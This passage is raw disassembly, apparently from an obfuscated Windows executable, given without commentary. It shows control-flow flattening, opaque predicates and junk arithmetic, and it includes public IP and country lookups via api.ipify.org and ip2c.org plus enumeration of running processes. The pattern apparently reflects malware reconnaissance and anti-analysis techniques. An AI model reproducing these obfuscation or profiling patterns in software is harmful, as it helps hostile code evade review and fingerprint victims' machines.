and bl, cl
or dl, bl
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
mov ebx, ecx
xor bl, dl
test cl, 1
mov eax, 0x9e290845
mov ecx, 0xe3a97f0e
cmovne eax, ecx
test dl, 1
mov r14d, 0xe3a97f0e
cmove eax, ecx
not bl
test bl, 1
mov ecx, 0x9e290845
jmp 0x14001cca4
mov rax, qword [rbp - 0x10]
mov rsi, qword [rbp - 0x10]
movaps xmmword [rsi + 0x20], xmm6
movaps xmmword [rsi + 0x10], xmm6
movaps xmmword [rsi], xmm6
mov word [rsi + 0x30], 0
sub rsp, 0x20
mov rcx, rsi
lea rdx, str.https:__api.ipify.org_
call fcn.1400436a4
add rsp, 0x20
mov rcx, qword [rbp + 0xb0]
sub rsp, 0x30
movups xmmword [rsp + 0x20], xmm6
mov rdx, rsi
xor r8d, r8d
xor r9d, r9d
call qword [0x140069428]
add rsp, 0x30
mov eax, 0xe3351dd7
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov rax, qword [rbp + 0x10]
mov rsi, qword [rbp + 0x10]
movaps xmmword [rsi + 0x20], xmm6
movaps xmmword [rsi + 0x10], xmm6
movaps xmmword [rsi], xmm6
mov word [rsi + 0x30], 0
sub rsp, 0x20
mov rcx, rsi
lea rdx, str.https:__ip2c.org_
call fcn.1400436a4
mov rcx, rsi
lea rdx, [0x140069340]
call fcn.1400436a4
add rsp, 0x20
mov rcx, qword [rbp + 0xd8]
sub rsp, 0x30
movups xmmword [rsp + 0x20], xmm6
mov rdx, rsi
xor r8d, r8d
xor r9d, r9d
call qword [0x140069428]
add rsp, 0x30
mov eax, 0xda3dd5fb
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov rax, qword [rbp - 0x18]
mov dword [rax], 0x238
mov rdx, qword [rbp - 0x18]
mov rcx, qword [rbp + 0xa0]
sub rsp, 0x20
call sub.KERNEL32.dll_Process32FirstW
add rsp, 0x20
mov eax, 0xf37a1b1f
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov ecx, dword [0x1400640e4]
mov r8d, dword [0x1400640e8]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
mov ebx, edx
xor ebx, 0xfffffffe
and ebx, edx
not edx
mov edi, edx
and edi, 0x72539fce
and ecx, 0x8dac6030
or ecx, edi
mov edi, ecx
xor edi, 0x81a82000
xor ecx, 0x72539fcf
mov esi, ebx
not esi
mov eax, ecx
and eax, 0x5e16c4b2
and edi, 0xa1e93b4c
or edi, eax
or ecx, esi
and esi, 0x5e16c4b2
and ebx, 0xa1e93b4d
or ebx, esi
xor ebx, edi
not ecx
or ecx, ebx
mov eax, ecx
not eax
and eax, 0xddb1500f
and ecx, 0x224eaff0
or ecx, eax
xor ecx, 0x224eaff0
mov eax, ecx
and eax, edx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xdb19ccfc
and ecx, 0x24e63303
or ecx, eax
xor ecx, 0x24e63303
setne r9b
sete r10b
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl bl
mov edx, ebx
xor dl, cl
and dl, bl
mov eax, r10d
xor al, r9b
and al, r10b
xor al, dl
mov r8d, eax
xor r8b, 1
mov edx, ecx
or cl, r9b
and r9b, bl
and dl, r10b
or dl, r9b
xor bl, r10b
xor cl, 1
or cl, bl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and al, r8b
and dl, cl
mov ebx, r8d
and bl, al
xor al, r8b
or al, bl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
xor dl, al
mov eax, r8d
and al, cl
xor cl, r8b
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov ebx, 0xdd8f7636
mov eax, 0xdd3884bb
cmovne ebx, eax
test cl, 1
mov eax, 0xdd8f7636
cmovne eax, ebx
test dl, 1
jmp 0x14001cc80
mov ecx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x4156cd5d
mov ebx, edx
and ebx, 0xb8011280
or ebx, ecx
xor ebx, 0xb8011280
and edx, 0x6a82022
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x6a82022
and edx, 0xf957dfdd
or edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
or ecx, 1
mov edi, ecx
not edi
and ebx, 0x677512e7
and edx, 0x988aed18
or edx, ebx
mov ebx, edx
xor ebx, 0x90824400
xor edx, 0x677512e6
mov esi, ecx
and esi, 0x82db91f
and edi, 0xf7d246e0
or edi, esi
or ecx, edx
and edx, 0x82db91f
and ebx, 0xf7d246e0
or ebx, edx
xor ebx, edi
not ecx
or ecx, ebx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xc8baa792
and ecx, 0x3745586d
or ecx, edx
mov edx, ecx
xor edx, 0x3404500c
xor ecx, 0x980082
and ecx, 0x3d908e3
and edx, 0xfc26f71c
or edx, ecx
xor edx, 0xfc26f71c
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
or cl, dl
and dl, r8b
xor al, r8b
or al, dl
or bl, r8b
mov edx, ecx
xor dl, bl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, ecx
and bl, al
xor al, 1
and dl, al
or dl, bl
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xc1e3359d
mov ebx, 0x55ac4716
cmovne ecx, ebx
test al, 1
mov eax, 0xc1e3359d
cmovne eax, ecx
jmp 0x14001ae6d
mov ecx, dword [0x1400640e4]
mov r8d, dword [0x1400640e8]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov edi, ebx
or edi, 0x2370af82
mov ecx, edi
not ecx
or edx, 0xc08b4075
and edx, 0xc28b6f75
and ebx, 0x21708082
or ebx, edx
and edi, 0xc28b6f75
and ecx, 0x1c041008
or ecx, edi
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x6739b3e8
and ecx, 0x98c64c17
or ecx, edx
mov ebx, ecx
xor ebx, 0xbbb6e395
mov eax, ecx
xor eax, 0x44491c6a
xor ecx, 0x9300da0
mov edi, ecx
and edi, eax
and ecx, ebx
mov esi, edi
and esi, ecx
xor ecx, edi
or ecx, esi
mov edi, ecx
not edi
and edi, 0x4d7911cb
and ecx, 0xb286ee34
or ecx, edi
and ebx, 0x4783fa9b
mov edx, eax
and edx, 0xb87c0564
or edx, ebx
xor edx, 0x4783fa9a
and eax, 1
or eax, edx
mov edx, eax
not edx
mov ebx, ecx
not ebx
mov edi, ebx
and edi, 0x3e9708b
and ecx, 0xfc168f74
or ecx, edi
or ebx, eax
and eax, 0x3e9708b
and edx, 0xfc168f74
or edx, eax
xor edx, ecx
not ebx
or ebx, edx
mov eax, ebx
not eax
and eax, 0x20001
mov ecx, ebx
and ecx, 0x2ed4a03a
or ecx, eax
xor ecx, 0x2ed4a03a
and ebx, 0xd1295fc4
or ebx, ecx
mov eax, ebx
not eax
and eax, 0xd1295fc4
and ebx, 0x2ed6a03b
or ebx, eax
setne r10b
sete r9b
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl al
mov ebx, eax
xor bl, r9b
or r10b, al
or al, r9b
xor al, 1
or al, bl
or cl, r9b
mov edx, r10d
xor dl, cl
or cl, r10b
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
mov r8d, ebx
and r8b, dl
xor dl, bl
or dl, r8b
mov r8d, edx
xor dl, 1
and dl, al
xor bl, al
xor al, 1
and r8b, al
or dl, r8b
or cl, al
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, dl
test cl, 1
mov eax, 0xd5ad4294
mov ecx, 0xe5bd904d
cmovne eax, ecx
test dl, 1
cmove eax, ecx
not bl
test bl, 1
mov ecx, 0xd5ad4294
jmp 0x14001cca4
mov rcx, qword [rbp + 0xb0]
sub rsp, 0x20
call qword [0x140063bd0]
add rsp, 0x20
mov eax, 0x979cabbc
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp dword [rbp + 0x124], 0
sete byte [rbp + 0x117]
mov ecx, dword [0x1400640e4]
mov r8d, dword [0x1400640e8]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xa2ec5063
and ecx, edx
not edx
and edx, 0xa2ec5063
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x6faf6c7b
and ecx, 0x90509384
or ecx, edx
mov edi, ecx
xor edi, 0x32bcc3e7
xor ecx, 0xcd433c18
mov ebx, edi
or ebx, 0x89596ef9
mov esi, ebx
not esi
mov eax, ecx
or eax, 0x76a69106
mov edx, eax
not edx
and ebx, 0x3e9009cd
and esi, 0x40269002
or esi, ebx
and eax, 0x3e9009cd
and edx, 0x81496630
or edx, eax
xor edx, esi
mov eax, edx
not eax
and eax, 0x89596ef8
and edx, 0x76a69107
or edx, eax
and edi, 0xca6c39bc
mov eax, ecx
and eax, 0x3593c643
or eax, edi
xor eax, 0xca6c39bd
and ecx, 1
or ecx, eax
not ecx
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x7fb234cd
and ecx, 0x804dcb32
or ecx, eax
xor ecx, 0x804dcb32
sete al
setne cl
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
xor bl, cl
mov ecx, edx
and cl, al
xor dl, al
or dl, cl
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
xor dl, bl
and bl, dl
mov eax, edx
xor al, bl
test dl, 1
mov ecx, 0x9e30b4ca
mov edx, 0x74324e66
cmovne ecx, edx
test bl, bl
cmove ecx, edx
not al
test al, 1
mov eax, 0x9e30b4ca
cmovne ecx, eax
jmp 0x14001b4a4
cmp byte [rbp + 0x67], 0
mov eax, 0x3dbb46ca
mov ecx, 0x9e5d61bb
jmp 0x14001cca4
mov rax, qword [rbp + 0x98]
cmp dword [rbp - 0x68], 0
mov eax, 0x84292be3
mov ecx, 0xe194de42
jmp 0x14001c7cd
cmp byte [rbp + 0xd6], 0
mov eax, 0x6f817525
mov ecx, 0xd812a771
cmovne eax, ecx
mov ecx, dword [rbp + 0x118]
mov dword [rbp - 0x6c], ecx
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov rax, qword [rbp - 0x60]
mov rax, qword [rbp - 0x60]
mov dword [rax], 0xfa
mov rdx, qword [rbp - 0x60]
sub rsp, 0x20
lea rcx, [0x140069440]
call qword [0x140069638]
add rsp, 0x20
mov eax, 0x4ed1e495
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov eax, dword [rbp + 0x11c]
mov eax, 0xdb9da8d4
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov rcx, qword [rbp + 0xc8]
sub rsp, 0x20
call qword [0x140063bd0]
add rsp, 0x20
mov eax, 0xd51be578
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov ecx, dword [0x1400640e4]
mov r8d, dword [0x1400640e8]
lea edi, [rcx - 1]
imul edi, ecx
mov r9d, edi
not r9d
mov ebx, r9d
and ebx, 0x1bea5c4c
mov ecx, edi
and ecx, 0xe415a3b3
or ecx, ebx
mov ebx, ecx
xor ebx, 0x24002330
xor ecx, 0x1bea5c4c
mov edx, edi
xor edx, 0xfffffffe
and edx, edi
or ecx, 1
mov eax, edx
not eax
mov esi, ecx
and esi, 0xd3d594c2
and ebx, 0x2c2a6b3c
or ebx, esi
or ecx, eax
and eax, 0xd3d594c2
and edx, 0x2c2a6b3d
or edx, eax
xor edx, ebx
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0xbd2fdd4a
and ecx, 0x42d022b5
or ecx, eax
mov eax, ecx
xor eax, 0x100214
and r9d, 0x62549c4b
and edi, 0x9dab63b4
or edi, r9d
mov edx, edi
xor edx, 0x200314
xor ecx, 0xbd2fdd4a
xor edi, 0x62549c4b
mov ebx, ecx
and ebx, 0xdfcbe4e9
and eax, 0x20341b16
or eax, ebx
or ecx, edi
and edi, 0xdfcbe4e9
and edx, 0x20341b16
or edx, edi
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x5ae0cd72
and ecx, 0xa51f328d
or ecx, eax
xor ecx, 0xa51f328d
setne r10b
sete r9b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
mov ecx, r9d
or cl, bl
mov eax, r9d
xor al, bl
not al
and al, bl
xor al, 1
mov r8d, ecx
xor r8b, al
or al, cl
xor al, 1
or al, r8b
and bl, r9b
and r10b, dl
or r10b, bl
mov ecx, edx
and cl, r9b
xor dl, r9b
or dl, cl
xor dl, 1
mov ecx, r10d
and cl, dl
xor dl, r10b
or dl, cl
mov ebx, edx
xor bl, 1
mov ecx, ebx
and cl, dl
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, 1
and al, bl
and cl, dl
xor al, 1
mov r8d, eax
xor r8b, bl
or al, bl
xor al, 1
or al, r8b
xor cl, 1
mov r8d, ecx
xor r8b, dl
or cl, dl
xor cl, 1
or cl, r8b
xor cl, al
mov eax, ebx
and al, dl
xor bl, dl
or bl, al
mov eax, ebx
xor al, cl
test al, 1
mov edx, 0x9a60aef8
mov eax, 0x6501ca1e
cmovne edx, eax
test bl, 1
mov eax, 0x9a60aef8
jmp 0x14001a843
sub rsp, 0x20
lea rcx, [0x1400693c0]
lea rdx, [0x14005d218]
call fcn.1400436a4
add rsp, 0x20
mov edx, dword [0x1400640e4]
mov r8d, dword [0x1400640e8]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x2d5e0a20
and edx, ecx
and ecx, 0xd2a1f5df
or ecx, ebx
xor ecx, 0xd2a1f5df
mov ebx, ecx
and ebx, edx
xor ecx, edx
or ecx, ebx
mov edi, ecx
not edi
mov edx, edi
and edx, 0xe93bae7e
and ecx, 0x16c45181
or ecx, edx
mov ebx, ecx
not ebx
mov esi, ecx
xor esi, 0xa1138402
or esi, 0x4c2c3afd
mov eax, esi
not eax
or edi, 0xb3d3c502
mov edx, edi
not edx
and esi, 0x2a99824a
and eax, 0x91424500
or eax, esi
and edi, 0x2a99824a
and edx, 0x442438b5
or edx, edi
xor edx, eax
mov eax, edx
not eax
and eax, 0xffb87e2d
and edx, 0x4781d2
or edx, eax
mov eax, edx
xor eax, 0xb2000040
and ebx, 1
xor ecx, 0x16c45180
or ecx, ebx
mov ebx, ecx
not ebx
xor edx, 0x4c6bbb2e
mov edi, edx
and edi, 0x997ecbf
and eax, 0xf6681340
or eax, edi
or edx, ecx
and ecx, 0x997ecbf
and ebx, 0xf6681340
or ebx, ecx
xor ebx, eax
not edx
or edx, ebx
mov eax, edx
not eax
and eax, 0x9925a073
and edx, 0x66da5f8c
or edx, eax
mov eax, edx
xor eax, 0x88002032
xor edx, 0x424a0f8c
and edx, 0x536f8fcd
and eax, 0xac907032
or eax, edx
xor eax, 0xac907032
sete al
setne cl
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl bl
and cl, bl
or bl, al
xor bl, 1
and dl, al
or dl, cl
mov eax, ebx
and al, dl
xor bl, dl
or bl, al
xor bl, dl
and dl, bl
mov eax, ebx
xor al, dl
test al, 1
mov ecx, 0x764e33d6
mov eax, 0xe5bd904d
cmovne ecx, eax
test bl, bl
mov eax, 0x764e33d6
cmovne eax, ecx
jmp 0x14001ae6d
mov eax, dword [rbp + 0x124]
mov eax, 0xe012a3f3
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov eax, 0x3dbb46ca
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov eax, 0x80edf5c3
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov ecx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0x44cca07f
and edx, ebx
not ebx
and ebx, 0x440ca03a
and ecx, 0xc00045
or ecx, ebx
mov ebx, ecx
xor ebx, 5
xor ecx, 0xff3fffba
mov edi, edx
not edi
mov esi, ecx
and esi, 0x85d37f60
and ebx, 0x400c801f
or ebx, esi
or ecx, edi
and edi, 0x85d37f60
and edx, 0x7a2c809f
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x9dfd1d5
and ecx, 0xf6202e2a
or ecx, edx
mov ebx, ecx
xor ebx, 0xb2ec8e55
mov edi, ecx
xor edi, 0xb2ec8e54
and edi, ebx
xor ecx, 0x45116120
and ecx, 0x77396b60
and ebx, 0x88c6949f
or ebx, ecx
mov ecx, ebx
xor ecx, 0x80c0941c
mov edx, edi
not edx
xor ebx, 0x77396b61
mov esi, edx
and esi, 0x5a1642e3
and edi, 0xa5e9bd1c
or edi, esi
or edx, ebx
and ebx, 0x5a1642e3
and ecx, 0xa5e9bd1c
or ecx, ebx
xor ecx, edi
not edx
or edx, ecx
mov ecx, edx
xor ecx, 0xc0d29e42
and ecx, edx
not edx
and edx, 0xc0d29e42
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x82467daf
and ecx, 0x7db98250
or ecx, edx
mov edx, ecx
xor edx, 0x940a1410
xor ecx, 0x4294e3ed
mov ebx, ecx
and ebx, 0x29e1a8ef
and edx, 0xd61e5710
or edx, ebx
xor edx, 0x29e1a8ef
xor ecx, edx
test ecx, edx
setne r8b
sete r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg al
mov ebx, r10d
or bl, al
mov edx, r10d
xor dl, al
mov ecx, edx
not cl
and cl, al
xor cl, 1
mov r11d, ebx
xor r11b, cl
or cl, bl
xor cl, 1
or cl, r11b
and dl, al
and r9b, r8b
and al, r10b
or al, r9b
mov ebx, edx
xor bl, 1
xor dl, al
xor al, 1
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
xor dl, 1
mov eax, ecx
xor al, dl
test al, 1
mov ebx, 0x60f8944b
mov eax, 0x446dc281
cmovne ebx, eax
test dl, 1
mov eax, ebx
mov edx, 0x60f8944b
cmovne eax, edx
test cl, 1
cmovne eax, ebx
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
sub rsp, 0x20
lea rcx, [0x1400693c0]
lea rdx, [0x14005d218]
call fcn.1400436a4
add rsp, 0x20
mov eax, 0xd5ad4294
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp byte [rbp + 0x47], 0
mov eax, 0xd2dcb093
mov ecx, 0x8fe31ca5
jmp 0x14001cca4
mov ecx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edi, ebx
not edi
mov ecx, edi
and ecx, 0x38ba9a06
mov edx, ebx
and edx, 0xc74565f8
or edx, ecx
xor edx, 0xc74565f8
mov ecx, ebx
xor ecx, 0xfffffffe
and ecx, ebx
mov esi, edx
and esi, ecx
xor ecx, edx
or ecx, esi
mov edx, ecx
not edx
and edx, 0xfb31359e
and ecx, 0x4ceca61
or ecx, edx
mov edx, ecx
xor edx, 0x4eca01
and edi, 0x76300458
and ebx, 0x89cffba7
or ebx, edi
mov edi, ebx
xor edi, 0x14fea03
xor ecx, 0xfb31359e
xor ebx, 0x76300458
mov esi, ecx
and esi, 0xde8011e4
and edx, 0x217fee1b
or edx, esi
or ecx, ebx
and ebx, 0xde8011e4
and edi, 0x217fee1b
or edi, ebx
xor edi, edx
not ecx
or ecx, edi
mov edx, ecx
not edx
and edx, 0xc0c3dec7
and ecx, 0x3f3c2138
or ecx, edx
xor ecx, 0x3f3c2138
sete dl
setne bl
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
and al, bl
and dl, cl
or dl, al
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
xor dl, 1
xor al, 1
or cl, dl
xor cl, 1
or cl, al
mov ebx, ecx
xor bl, 1
and bl, cl
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
xor bl, dl
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, ecx
xor al, bl
test al, 1
mov edx, 0xe3351dd7
mov eax, 0x55c54b1a
cmovne edx, eax
test cl, 1
mov eax, 0xe3351dd7
jmp 0x14001c95d
mov eax, 0x366bdaa9
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov rax, qword [rbp + 0x58]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x48]
mov ecx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x60f89c00
and ecx, 0x9f0763ff
or ecx, edx
mov ebx, ecx
xor ebx, 0x60f89c00
mov edx, ecx
xor edx, 0x60f89c01
and edx, ebx
xor ecx, 0x97070044
and ecx, 0xd7079444
and ebx, 0x28f86bbb
or ebx, ecx
mov edi, ebx
xor edi, 0x28d06b12
mov esi, edx
not esi
xor ebx, 0xd7079445
mov ecx, esi
and ecx, 0xc72c80ad
and edx, 0x38d37f52
or edx, ecx
or esi, ebx
and ebx, 0xc72c80ad
and edi, 0x38d37f52
or edi, ebx
xor edi, edx
not esi
or esi, edi
mov edx, esi
mov ecx, esi
xor ecx, 0xe1d7662f
and ecx, esi
not esi
and esi, 0x914020
and edx, 0xe146260f
or edx, esi
xor edx, 0xe146260f
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x1e2899d0
and ecx, 0xe1d7662f
or ecx, edx
mov edx, ecx
not edx
and edx, 0x5674b1fd
and ecx, 0xa98b4e02
or ecx, edx
xor ecx, 0xa98b4e02
cmp ecx, 0xffffffff
setne cl
sete r9b
cmp eax, 9
setg r8b
cmp eax, 0xa
setl r10b
mov edx, r10d
xor dl, r8b
and dl, r10b
mov ebx, r9d
xor bl, cl
and bl, r9b
mov eax, ebx
xor al, 1
or al, bl
xor al, 1
mov r11d, ebx
and r11b, al
xor al, bl
or al, r11b
xor al, 1
mov ebx, eax
or bl, dl
xor al, dl
not al
and al, dl
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
and r8b, r9b
and cl, r10b
or cl, r8b
mov edx, r10d
and dl, r9b
xor r10b, r9b
or r10b, dl
xor cl, 1
mov edx, ecx
xor dl, r10b
or cl, r10b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
xor al, 1
xor dl, 1
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x6245d06f
mov ebx, 0xbdffdaa2
cmovne eax, ebx
test dl, 1
cmove eax, ebx
test cl, 1
mov ecx, 0x6245d06f
jmp 0x14001c7cd
mov eax, 0x84292be3
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov edx, dword [0x1400640e4]
mov r8d, dword [0x1400640e8]
lea edi, [rdx - 1]
imul edi, edx
mov r9d, edi
not r9d
mov ebx, r9d
and ebx, 0x6cfc91b7
mov edx, edi
and edx, 0x93036e48
or edx, ebx
mov ebx, edx
xor ebx, 0x13026408
xor edx, 0x6cfc91b6
mov ecx, edi
xor ecx, 0xfffffffe
and ecx, edi
or edx, 1
mov eax, ecx
not eax
mov esi, edx
and esi, 0x8c4d0af7
and ebx, 0x73b2f508
or ebx, esi
or edx, eax
and eax, 0x8c4d0af7
and ecx, 0x73b2f508
or ecx, eax
xor ecx, ebx
not edx
or edx, ecx
and r9d, 0x50e58b2c
and edi, 0xaf1a74d3
or edi, r9d
mov eax, edi
xor eax, 0xaf1a74d3
xor edi, 0x50e58b2c
and edi, edx
not edx
and eax, edx
or edi, eax
xor edx, edi
test edx, edi
setne al
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl bl
mov edx, ebx
xor dl, al
xor dl, 1
or cl, dl
or al, bl
xor al, 1
and dl, bl
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xda3dd5fb
mov ebx, 0x56b7decd
cmovne ecx, ebx
test al, 1
mov eax, 0xda3dd5fb
jmp 0x14001b7b4
mov rdx, qword [rbp - 0x18]
add rdx, 0x2c
sub rsp, 0x20
lea rsi, [0x140064300]
mov rcx, rsi
call fcn.1400436a4
mov rcx, rsi
lea rdx, [0x14005d4ee]
call fcn.1400436a4
add rsp, 0x20
mov rdx, qword [rbp - 0x18]
mov rcx, qword [rbp + 0xa0]
sub rsp, 0x20
call sub.KERNEL32.dll_Process32NextW
add rsp, 0x20
test eax, eax
setne byte [rbp + 0xaf]
mov ecx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x2666000
mov edx, ebx
and edx, 0x8c000608
or edx, ecx
xor edx, 0x8c000608
and ebx, 0x719999f7
or ebx, edx
mov ecx, ebx
not ecx
and ecx, 0x719999f7
and ebx, 0x8e666608
or ebx, ecx
mov edi, ebx
mov edx, ebx
xor edx, 0xb69590c9
and edx, ebx
not ebx
and ebx, 0xed2e763d
and edi, 0x12d189c2
or edi, ebx
mov ecx, edi
xor ecx, 0x12d189c2
mov ebx, ecx
and ebx, 0xb69590c9
mov esi, ebx
and esi, edx
xor edx, ebx
or edx, esi
mov ebx, edx
not ebx
and ebx, 0x64d31969
and edx, 0x9b2ce696
or edx, ebx
xor edx, 0x2db9765e
and ecx, 1
xor edi, 0x12d189c3
or edi, ecx
mov ebx, edi
not ebx
and ebx, 0x42168da0
and edi, 0xbde9725f
or edi, ebx
xor edi, 0xbde9725f
mov ebx, edx
and ebx, edi
xor edi, edx
or edi, ebx
mov edx, edi
mov ecx, edi
xor ecx, 0xbeb46c6b
and ecx, edi
not edi
and edi, 0x9c00284b
and edx, 0x22b44420
or edx, edi
xor edx, 0x22b44420
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x414b9394
and ecx, 0xbeb46c6b
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xdb88800
and edx, 0xf24777ff
or edx, ecx
xor edx, 0xdb88800
cmp edx, 0xffffffff
sete dl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
xor r8b, al
mov ecx, edx
xor cl, bl
or bl, dl
xor bl, 1
or bl, r8b
and cl, dl
or al, dl
mov edx, eax
xor dl, cl
xor cl, 1
xor dl, 1
or cl, al
xor cl, 1
or cl, dl
mov eax, ebx
xor al, cl
xor cl, 1
or cl, bl
xor al, 1
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xa7fe7c25
mov ebx, 0x6dc86ea6
cmovne edx, ebx
test al, 1
mov eax, edx
mov ebx, 0xa7fe7c25
jmp 0x14001b9f7
mov rcx, qword [rbp + 0xf0]
sub rsp, 0x20
call qword [0x140063bd0]
add rsp, 0x20
mov eax, 0x31af9351
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov rcx, qword [rbp + 0xa0]
sub rsp, 0x20
call qword [0x140064028]
add rsp, 0x20
mov eax, 0xd078af36
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov rcx, qword [rbp + 0xa0]
sub rsp, 0x20
call qword [0x140064028]
add rsp, 0x20
mov ecx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebx, ecx
and ebx, 0xfffffffe
mov edx, edi
xor edx, 0xfffffffe
and edx, edi
mov esi, ebx
and esi, edx
xor edx, ebx
or edx, esi
mov ebx, edx
not ebx
and ecx, ebx
and edx, edi
or edx, ecx
xor ebx, edx
test ebx, edx
sete r8b
setne r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg cl
mov ebx, ecx
xor bl, r10b
and bl, cl
mov r11d, r9d
xor r11b, r8b
and r11b, r9b
mov edx, ebx
xor dl, 1
mov eax, ebx
and al, dl
xor al, 1
mov esi, eax
xor sil, dl
or al, dl
xor al, 1
or al, sil
or dl, bl
mov ebx, edx
xor bl, al
xor al, 1
xor bl, 1
or al, dl
xor al, 1
or al, bl
mov edx, r11d
xor dl, 1
mov ebx, r11d
and bl, dl
mov esi, ebx
and sil, r11b
xor bl, r11b
or bl, sil
or dl, r11b
xor bl, 1
mov r11d, ebx
xor r11b, dl
or bl, dl
xor bl, 1
or bl, r11b
mov edx, ebx
xor dl, 1
or dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
and r9b, r10b
or r10b, r8b
and cl, r8b
or cl, r9b
mov edx, r10d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r10b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, ecx
xor bl, 1
xor al, 1
mov edx, ebx
and dl, cl
mov r8d, ebx
xor r8b, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, r8b
xor dl, al
mov ecx, eax
